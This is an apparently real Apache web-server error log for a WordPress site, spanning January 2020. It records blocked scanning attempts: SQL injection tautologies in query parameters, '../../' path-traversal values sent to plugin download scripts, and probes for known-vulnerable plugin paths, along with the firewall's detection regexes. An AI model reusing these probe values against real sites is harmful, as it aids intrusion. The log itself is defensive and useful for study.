[Sun Jan 05 00:04:57.488649 2020] [proxy_fcgi:error] [pid 30650] [client 74.81.88.170:54458] AH01071: Got error 'PHP message: PHP Fatal error:  Uncaught Error: Call to undefined function get_header() in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/twentysixteen/404.php:10\nStack trace:\n#0 {main}\n  thrown in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/twentysixteen/404.php on line 10\n'
[Sun Jan 05 04:54:50.149784 2020] [proxy_fcgi:error] [pid 9594] [client 193.106.30.99:49400] AH01071: Got error 'Primary script unknown\n'
[Mon Jan 06 04:56:26.790923 2020] [proxy_fcgi:error] [pid 12776] [client 193.106.30.99:38414] AH01071: Got error 'Primary script unknown\n'
[Mon Jan 06 14:46:30.223761 2020] [proxy_fcgi:error] [pid 9911] [client 193.106.30.99:50218] AH01071: Got error 'Primary script unknown\n'
[Tue Jan 07 10:16:28.834695 2020] [ssl:error] [pid 22062] AH02032: Hostname www.fincasandoval.com provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Tue Jan 07 10:16:28.844785 2020] [ssl:error] [pid 22062] AH02032: Hostname www.fincasandoval.com provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Tue Jan 07 12:38:43.800005 2020] [authz_core:error] [pid 8660] [client 66.115.168.16:57326] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/akismet/akismet.php
[Tue Jan 07 12:38:43.980427 2020] [proxy_fcgi:error] [pid 8525] [client 66.115.168.16:58048] AH01071: Got error 'PHP message: PHP Fatal error:  Uncaught Error: Call to undefined function add_action() in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/hello.php:69\nStack trace:\n#0 {main}\n  thrown in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/hello.php on line 69\n'
[Tue Jan 07 15:37:03.193716 2020] [authz_core:error] [pid 29529] [client 193.106.30.99:40210] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/readme.php
[Tue Jan 07 17:04:05.660299 2020] [:error] [pid 9283] [client 45.227.253.62:57212] [client 45.227.253.62] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "88"] [id "33340145"] [rev "43"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Possible SQL injection probe"] [data " 1=1"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Match of "rx (?:/index\\\\.php/admin/catalog_category/save|(?:/admin/stats|/css/gallery-css)\\\\.php\\\\?1=1|/admin\\\\.php\\\\?tile=mail$|/catalog_category/save/key/|/\\\\?op=admin_settings|^/\\\\?openpage=|/^admin/extra)" against "REQUEST_URI" required. [hostname "fincasandoval.com"] [uri "/"] [unique_id "XhSr9Xj6@GGe1le8uOH4cQAAAAo"]
[Tue Jan 07 17:04:11.076177 2020] [:error] [pid 9590] [client 45.227.253.62:59410] [client 45.227.253.62] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "130"] [id "33340156"] [rev "14"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic SQL injection protection"] [data "3212=3212"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\b(\\\\d+) ?= ?\\\\1\\\\b|[\\\\'\\"](\\\\w+)[\\\\'\\"] ?= ?[\\\\'\\"]\\\\2\\\\b" at ARGS:page_id. [hostname "fincasandoval.com"] [uri "/"] [unique_id "XhSr@yD5Ed2W1igI3Lv@OQAAAA0"]
[Tue Jan 07 17:04:11.193406 2020] [:error] [pid 9283] [client 45.227.253.62:60058] [client 45.227.253.62] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "130"] [id "33340156"] [rev "14"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic SQL injection protection"] [data "3233=3233"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\b(\\\\d+) ?= ?\\\\1\\\\b|[\\\\'\\"](\\\\w+)[\\\\'\\"] ?= ?[\\\\'\\"]\\\\2\\\\b" at ARGS:page_id. [hostname "fincasandoval.com"] [uri "/"] [unique_id "XhSr@3j6@GGe1le8uOH4cgAAAAo"]
[Tue Jan 07 17:04:11.511270 2020] [:error] [pid 9581] [client 45.227.253.62:34762] [client 45.227.253.62] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "130"] [id "33340156"] [rev "14"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic SQL injection protection"] [data "3233=3233"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\b(\\\\d+) ?= ?\\\\1\\\\b|[\\\\'\\"](\\\\w+)[\\\\'\\"] ?= ?[\\\\'\\"]\\\\2\\\\b" at ARGS:page_id. [hostname "fincasandoval.com"] [uri "/"] [unique_id "XhSr@9jbn6-Y-Mwd4Ud04AAAAAU"]
[Tue Jan 07 17:04:11.875290 2020] [:error] [pid 9383] [client 45.227.253.62:34974] [client 45.227.253.62] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "130"] [id "33340156"] [rev "14"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic SQL injection protection"] [data "3233=3233"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\b(\\\\d+) ?= ?\\\\1\\\\b|[\\\\'\\"](\\\\w+)[\\\\'\\"] ?= ?[\\\\'\\"]\\\\2\\\\b" at ARGS:page_id. [hostname "fincasandoval.com"] [uri "/"] [unique_id "XhSr@wZj8FbD--P8uPwtBQAAAAs"]
[Wed Jan 08 01:03:16.761289 2020] [proxy_fcgi:error] [pid 5088] [client 193.37.252.35:60769] AH01071: Got error 'PHP message: PHP Fatal error:  Uncaught Error: Call to undefined function get_header() in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/twentyseventeen/404.php:13\nStack trace:\n#0 {main}\n  thrown in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/twentyseventeen/404.php on line 13\n'
[Wed Jan 08 01:03:16.783578 2020] [proxy_fcgi:error] [pid 5481] [client 193.37.252.35:61522] AH01071: Got error 'PHP message: PHP Fatal error:  Uncaught Error: Call to undefined function get_header() in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/twentynineteen/404.php:12\nStack trace:\n#0 {main}\n  thrown in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/twentynineteen/404.php on line 12\n'
[Wed Jan 08 06:07:24.848946 2020] [:error] [pid 20386] [client 194.60.254.128:23694] [client 194.60.254.128] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "39"] [id "33340006"] [rev "68"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic Path Recursion denied in URI/ARGS"] [data "../../,ARGS:file"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\.\\\\./\\\\.\\\\./" at ARGS:file. [hostname "fincasandoval.com"] [uri "/wp-content/themes/medicate/download.php"] [unique_id "XhVjjNt4snSZda6s3G1fjQAAADk"]
[Wed Jan 08 06:07:27.857922 2020] [:error] [pid 20373] [client 194.60.254.128:55411] [client 194.60.254.128] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "39"] [id "33340006"] [rev "68"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic Path Recursion denied in URI/ARGS"] [data "../../,ARGS:file"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\.\\\\./\\\\.\\\\./" at ARGS:file. [hostname "fincasandoval.com"] [uri "/wp-content/themes/medicate/download.php"] [unique_id "XhVjj9QFoJNNxos7oKO8dwAAACw"]
[Wed Jan 08 10:25:57.003678 2020] [proxy_fcgi:error] [pid 24304] [client 193.37.252.35:53735] AH01071: Got error 'PHP message: PHP Fatal error:  Uncaught Error: Call to undefined function get_header() in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/twentysixteen/404.php:10\nStack trace:\n#0 {main}\n  thrown in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/twentysixteen/404.php on line 10\n'
[Wed Jan 08 16:17:08.159286 2020] [authz_core:error] [pid 10821] [client 193.37.252.35:57576] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/akismet/index.php
[Wed Jan 08 17:07:06.748920 2020] [proxy_fcgi:error] [pid 17822] [client 105.235.137.70:54478] AH01071: Got error 'Primary script unknown\n'
[Fri Jan 10 08:37:20.967177 2020] [authz_core:error] [pid 12519] [client 116.233.112.210:23058] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/social-warfare
[Fri Jan 10 13:54:35.069880 2020] [authz_core:error] [pid 32403] [client 47.90.59.148:60340] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/social-warfare
[Fri Jan 10 14:07:43.030606 2020] [authz_core:error] [pid 1776] [client 116.233.112.210:23819] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/social-warfare
[Fri Jan 10 18:57:08.937274 2020] [proxy_fcgi:error] [pid 19427] [client 162.243.126.96:49093] AH01071: Got error 'Primary script unknown\n', referer: fincasandoval.com
[Sat Jan 11 10:42:34.643464 2020] [proxy_fcgi:error] [pid 8923] [client 78.85.223.32:42704] AH01071: Got error 'Primary script unknown\n'
[Sun Jan 12 09:12:43.941365 2020] [proxy_fcgi:error] [pid 15157] [client 163.172.116.48:59005] AH01071: Got error 'PHP message: PHP Fatal error:  Uncaught Error: Call to undefined function get_header() in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/404.php:9\nStack trace:\n#0 {main}\n  thrown in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/404.php on line 9\n'
[Sun Jan 12 11:52:33.292742 2020] [proxy_fcgi:error] [pid 25062] [client 223.207.219.234:12971] AH01071: Got error 'Primary script unknown\n'
[Sun Jan 12 20:21:54.370505 2020] [proxy_fcgi:error] [pid 6563] [client 78.85.223.32:60824] AH01071: Got error 'Primary script unknown\n'
[Mon Jan 13 03:20:33.375346 2020] [proxy_fcgi:error] [pid 2411] [client 149.202.139.17:43716] AH01071: Got error 'Primary script unknown\n'
[Mon Jan 13 10:48:44.200534 2020] [proxy_fcgi:error] [pid 17690] [client 50.28.37.9:48206] AH01071: Got error 'Primary script unknown\n', referer: fincasandoval.com
[Tue Jan 14 00:40:12.979876 2020] [proxy_fcgi:error] [pid 1407] [client 149.202.139.17:59666] AH01071: Got error 'Primary script unknown\n'
[Tue Jan 14 14:14:24.802075 2020] [proxy_fcgi:error] [pid 17502] [client 162.243.126.96:39998] AH01071: Got error 'Primary script unknown\n', referer: fincasandoval.com
[Tue Jan 14 14:14:57.587854 2020] [proxy_fcgi:error] [pid 17355] [client 162.243.126.96:42563] AH01071: Got error 'Primary script unknown\n', referer: fincasandoval.com
[Tue Jan 14 20:45:43.131043 2020] [:error] [pid 5161] [client 45.227.255.149:50046] [client 45.227.255.149] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "88"] [id "33340145"] [rev "43"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Possible SQL injection probe"] [data " 1=1"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Match of "rx (?:/index\\\\.php/admin/catalog_category/save|(?:/admin/stats|/css/gallery-css)\\\\.php\\\\?1=1|/admin\\\\.php\\\\?tile=mail$|/catalog_category/save/key/|/\\\\?op=admin_settings|^/\\\\?openpage=|/^admin/extra)" against "REQUEST_URI" required. [hostname "fincasandoval.com"] [uri "/"] [unique_id "Xh4aZ3Elo1qh2neGYoCoHAAAAAg"]
[Tue Jan 14 20:45:46.260103 2020] [:error] [pid 5658] [client 45.227.255.149:52252] [client 45.227.255.149] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "130"] [id "33340156"] [rev "14"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic SQL injection protection"] [data "7566=7566"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\b(\\\\d+) ?= ?\\\\1\\\\b|[\\\\'\\"](\\\\w+)[\\\\'\\"] ?= ?[\\\\'\\"]\\\\2\\\\b" at ARGS:feed. [hostname "fincasandoval.com"] [uri "/"] [unique_id "Xh4aap7c0DUlKI96eyOn4wAAAAE"]
[Tue Jan 14 20:45:46.393243 2020] [:error] [pid 5354] [client 45.227.255.149:52380] [client 45.227.255.149] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "130"] [id "33340156"] [rev "14"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic SQL injection protection"] [data "8713=8713"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\b(\\\\d+) ?= ?\\\\1\\\\b|[\\\\'\\"](\\\\w+)[\\\\'\\"] ?= ?[\\\\'\\"]\\\\2\\\\b" at ARGS:feed. [hostname "fincasandoval.com"] [uri "/"] [unique_id "Xh4aakSglYLz@tZjP1d7DQAAAAA"]
[Tue Jan 14 20:45:46.723707 2020] [:error] [pid 4834] [client 45.227.255.149:53584] [client 45.227.255.149] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "130"] [id "33340156"] [rev "14"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic SQL injection protection"] [data "8713=8713"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\b(\\\\d+) ?= ?\\\\1\\\\b|[\\\\'\\"](\\\\w+)[\\\\'\\"] ?= ?[\\\\'\\"]\\\\2\\\\b" at ARGS:feed. [hostname "fincasandoval.com"] [uri "/"] [unique_id "Xh4aaqCWWwpispT18yawpgAAAAY"]
[Tue Jan 14 20:45:46.847573 2020] [:error] [pid 5161] [client 45.227.255.149:53696] [client 45.227.255.149] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "130"] [id "33340156"] [rev "14"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic SQL injection protection"] [data "'ftre'='ftre"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\b(\\\\d+) ?= ?\\\\1\\\\b|[\\\\'\\"](\\\\w+)[\\\\'\\"] ?= ?[\\\\'\\"]\\\\2\\\\b" at ARGS:feed. [hostname "fincasandoval.com"] [uri "/"] [unique_id "Xh4aanElo1qh2neGYoCoHQAAAAg"]
[Tue Jan 14 20:45:46.967344 2020] [:error] [pid 4864] [client 45.227.255.149:53824] [client 45.227.255.149] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "130"] [id "33340156"] [rev "14"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic SQL injection protection"] [data "8713=8713"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\b(\\\\d+) ?= ?\\\\1\\\\b|[\\\\'\\"](\\\\w+)[\\\\'\\"] ?= ?[\\\\'\\"]\\\\2\\\\b" at ARGS:feed. [hostname "fincasandoval.com"] [uri "/"] [unique_id "Xh4aaoHpBfZpDP0hbKCGQQAAABA"]
[Tue Jan 14 20:45:47.081599 2020] [:error] [pid 4861] [client 45.227.255.149:53982] [client 45.227.255.149] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "130"] [id "33340156"] [rev "14"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic SQL injection protection"] [data "'csuw'='csuw"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\b(\\\\d+) ?= ?\\\\1\\\\b|[\\\\'\\"](\\\\w+)[\\\\'\\"] ?= ?[\\\\'\\"]\\\\2\\\\b" at ARGS:feed. [hostname "fincasandoval.com"] [uri "/"] [unique_id "Xh4aa5s1WZc6bc5mhxgoCgAAAA0"]
[Wed Jan 15 06:57:33.705003 2020] [proxy_fcgi:error] [pid 27171] [client 163.172.119.161:63360] AH01071: Got error 'PHP message: PHP Fatal error:  Uncaught Error: Call to undefined function get_header() in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/404.php:9\nStack trace:\n#0 {main}\n  thrown in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/404.php on line 9\n'
[Wed Jan 15 09:44:34.764520 2020] [authz_core:error] [pid 14200] [client 51.77.52.160:52000] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/easy-digital-downloads
[Wed Jan 15 17:45:17.490304 2020] [proxy_fcgi:error] [pid 17261] [client 198.199.123.206:59343] AH01071: Got error 'Primary script unknown\n'
[Thu Jan 16 01:31:01.499812 2020] [proxy_fcgi:error] [pid 10627] [client 149.202.139.17:53090] AH01071: Got error 'Primary script unknown\n'
[Thu Jan 16 06:14:19.846886 2020] [authz_core:error] [pid 24881] [client 198.199.123.206:64871] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/iwp-client
[Fri Jan 17 05:30:51.893477 2020] [proxy_fcgi:error] [pid 11848] [client 78.85.144.12:35876] AH01071: Got error 'Primary script unknown\n'
[Fri Jan 17 05:30:52.524025 2020] [proxy_fcgi:error] [pid 16354] [client 78.85.144.12:36122] AH01071: Got error 'Primary script unknown\n'
[Fri Jan 17 17:27:27.041285 2020] [proxy_fcgi:error] [pid 6118] [client 193.106.30.99:36074] AH01071: Got error 'Primary script unknown\n'
[Sat Jan 18 00:38:59.552769 2020] [ssl:error] [pid 19910] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Sat Jan 18 00:38:59.561089 2020] [ssl:error] [pid 19910] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Sat Jan 18 00:39:00.780875 2020] [ssl:error] [pid 19561] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Sat Jan 18 00:39:00.780924 2020] [ssl:error] [pid 19561] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Sat Jan 18 00:39:01.996434 2020] [ssl:error] [pid 16418] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Sat Jan 18 00:39:01.996497 2020] [ssl:error] [pid 16418] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Sat Jan 18 00:39:03.201231 2020] [ssl:error] [pid 19425] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Sat Jan 18 00:39:03.201301 2020] [ssl:error] [pid 19425] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Sat Jan 18 00:39:04.478447 2020] [ssl:error] [pid 16847] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Sat Jan 18 00:39:04.478502 2020] [ssl:error] [pid 16847] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Sat Jan 18 02:01:18.512269 2020] [proxy_fcgi:error] [pid 25309] [client 149.202.139.17:52878] AH01071: Got error 'Primary script unknown\n'
[Sat Jan 18 06:14:28.691196 2020] [proxy_fcgi:error] [pid 4013] [client 23.129.64.183:22607] AH01071: Got error 'Primary script unknown\n'
[Sat Jan 18 11:15:08.587121 2020] [authz_core:error] [pid 3194] [client 116.233.112.210:40613] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/social-warfare
[Sun Jan 19 00:00:44.917565 2020] [proxy_fcgi:error] [pid 10089] [client 149.202.139.17:45548] AH01071: Got error 'Primary script unknown\n'
[Sun Jan 19 05:58:15.140779 2020] [:error] [pid 31669] [client 194.60.254.128:30615] [client 194.60.254.128] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "39"] [id "33340006"] [rev "68"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic Path Recursion denied in URI/ARGS"] [data "../../,ARGS:book_id"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\.\\\\./\\\\.\\\\./" at ARGS:book_id. [hostname "fincasandoval.com"] [uri "/wp-content/plugins/page-flip-image-gallery/books/getConfig.php"] [unique_id "XiPh50mhLbTZ-WtxnxElNAAAAAI"]
[Sun Jan 19 16:45:30.533040 2020] [proxy_fcgi:error] [pid 1515] [client 163.172.119.161:54496] AH01071: Got error 'Primary script unknown\n'
[Mon Jan 20 22:51:54.761025 2020] [authz_core:error] [pid 3001] [client 80.211.232.149:31500] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/wordpress-database-reset, referer: http://fincasandoval.com//wp-content/plugins/wordpress-database-reset/readme.txt
[Tue Jan 21 01:14:06.698693 2020] [proxy_fcgi:error] [pid 17002] [client 149.202.139.17:44592] AH01071: Got error 'Primary script unknown\n'
[Tue Jan 21 05:44:26.841040 2020] [authz_core:error] [pid 27687] [client 51.77.52.160:58778] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/wp-live-chat-support
[Tue Jan 21 09:51:22.809100 2020] [:error] [pid 26548] [client 194.60.254.128:50865] [client 194.60.254.128] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "39"] [id "33340006"] [rev "68"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic Path Recursion denied in URI/ARGS"] [data "../../,ARGS:abspath"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\.\\\\./\\\\.\\\\./" at ARGS:abspath. [hostname "fincasandoval.com"] [uri "/wp-content/plugins/post-recommendations-for-wordpress/lib/api.php"] [unique_id "Xia7inJHq5-var3EHaoj3QAAAAE"]
[Tue Jan 21 15:16:04.739659 2020] [authz_core:error] [pid 6479] [client 18.196.100.186:64107] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/iwp-client, referer: http://fincasandoval.com/wp-content/plugins/iwp-client/readme.txt
[Wed Jan 22 00:08:41.606446 2020] [authz_core:error] [pid 9285] [client 193.106.30.99:59652] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/cache
[Wed Jan 22 00:45:36.779784 2020] [proxy_fcgi:error] [pid 12324] [client 103.90.228.16:33382] AH01071: Got error 'Primary script unknown\n'
[Wed Jan 22 19:46:46.601132 2020] [authz_core:error] [pid 10934] [client 103.82.235.2:21220] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/uploadify, referer: http://www.google.com/
[Thu Jan 23 05:28:10.664461 2020] [proxy_fcgi:error] [pid 26620] [client 149.202.139.17:54704] AH01071: Got error 'Primary script unknown\n'
[Thu Jan 23 11:40:30.640935 2020] [authz_core:error] [pid 7605] [client 206.189.39.163:37248] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/CHANGELOG.txt
[Thu Jan 23 11:40:33.322509 2020] [authz_core:error] [pid 7606] [client 206.189.39.163:37362] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/CHANGELOG.txt
[Thu Jan 23 11:40:36.191832 2020] [authz_core:error] [pid 8305] [client 206.189.39.163:37380] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/CHANGELOG.txt
[Thu Jan 23 11:40:37.569605 2020] [authz_core:error] [pid 8314] [client 206.189.39.163:37562] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/core
[Thu Jan 23 11:40:38.765786 2020] [authz_core:error] [pid 8318] [client 206.189.39.163:37608] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/core
[Thu Jan 23 11:40:39.537785 2020] [authz_core:error] [pid 8317] [client 206.189.39.163:37640] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/core
[Thu Jan 23 11:40:40.820537 2020] [authz_core:error] [pid 7715] [client 206.189.39.163:37700] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/license.txt
[Thu Jan 23 11:40:47.155777 2020] [authz_core:error] [pid 8127] [client 206.189.39.163:38026] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/license.txt
[Thu Jan 23 11:40:49.687557 2020] [authz_core:error] [pid 8314] [client 206.189.39.163:38186] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/README.txt
[Thu Jan 23 11:40:50.863712 2020] [authz_core:error] [pid 7443] [client 206.189.39.163:38272] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/README.txt
[Thu Jan 23 11:40:51.661856 2020] [authz_core:error] [pid 8318] [client 206.189.39.163:38330] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/README.txt
[Thu Jan 23 12:00:23.627029 2020] [proxy_fcgi:error] [pid 10105] [client 193.106.30.99:45946] AH01071: Got error 'Primary script unknown\n'
[Fri Jan 24 01:15:58.999647 2020] [proxy_fcgi:error] [pid 16757] [client 193.106.30.99:54308] AH01071: Got error 'Primary script unknown\n'
[Fri Jan 24 04:35:46.964373 2020] [proxy_fcgi:error] [pid 22797] [client 149.202.139.17:60420] AH01071: Got error 'Primary script unknown\n'
[Fri Jan 24 12:27:40.454359 2020] [:error] [pid 18631] [client 194.60.254.128:9528] [client 194.60.254.128] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "39"] [id "33340006"] [rev "68"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic Path Recursion denied in URI/ARGS"] [data "../../,ARGS:file"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\.\\\\./\\\\.\\\\./" at ARGS:file. [hostname "fincasandoval.com"] [uri "/wp-content/plugins/sell-downloads/sell-downloads.php"] [unique_id "XirUrLZI2dZV6N3EWA1Z-gAAAAg"]
[Fri Jan 24 15:37:56.600350 2020] [proxy_fcgi:error] [pid 11855] [client 149.202.139.17:60652] AH01071: Got error 'Primary script unknown\n'
[Fri Jan 24 19:05:08.159209 2020] [proxy_fcgi:error] [pid 7650] [client 163.172.119.161:55703] AH01071: Got error 'PHP message: PHP Fatal error:  Uncaught Error: Call to undefined function get_header() in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/twentynineteen/404.php:12\nStack trace:\n#0 {main}\n  thrown in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/twentynineteen/404.php on line 12\n'
[Fri Jan 24 23:44:15.083681 2020] [:error] [pid 8301] [client 194.60.254.128:4306] [client 194.60.254.128] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "39"] [id "33340006"] [rev "68"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic Path Recursion denied in URI/ARGS"] [data "../../,ARGS:file"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\.\\\\./\\\\.\\\\./" at ARGS:file. [hostname "fincasandoval.com"] [uri "/wp-content/plugins/sf-booking/lib/downloads.php"] [unique_id "XitzP@mLgeGOA6F60zCjNgAAAAA"]
[Fri Jan 24 23:44:18.178461 2020] [:error] [pid 8690] [client 194.60.254.128:44788] [client 194.60.254.128] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "39"] [id "33340006"] [rev "68"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic Path Recursion denied in URI/ARGS"] [data "../../,ARGS:file"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\.\\\\./\\\\.\\\\./" at ARGS:file. [hostname "fincasandoval.com"] [uri "/wp-content/plugins/sf-booking/lib/downloads.php"] [unique_id "XitzQvnIgWFIm3lCtR5a2wAAAAE"]
[Sat Jan 25 10:46:28.357347 2020] [authz_core:error] [pid 1715] [client 51.77.52.160:47040] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/iwp-client
[Sat Jan 25 10:46:28.364848 2020] [authz_core:error] [pid 2180] [client 51.77.52.160:47042] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/wp-time-capsule
[Mon Jan 27 08:32:32.243674 2020] [proxy_fcgi:error] [pid 23502] [client 149.202.139.17:42840] AH01071: Got error 'Primary script unknown\n'
[Mon Jan 27 16:24:57.524131 2020] [proxy_fcgi:error] [pid 25585] [client 149.202.139.17:47700] AH01071: Got error 'Primary script unknown\n'
[Tue Jan 28 02:13:52.686137 2020] [proxy_fcgi:error] [pid 22257] [client 149.202.139.17:53190] AH01071: Got error 'Primary script unknown\n'
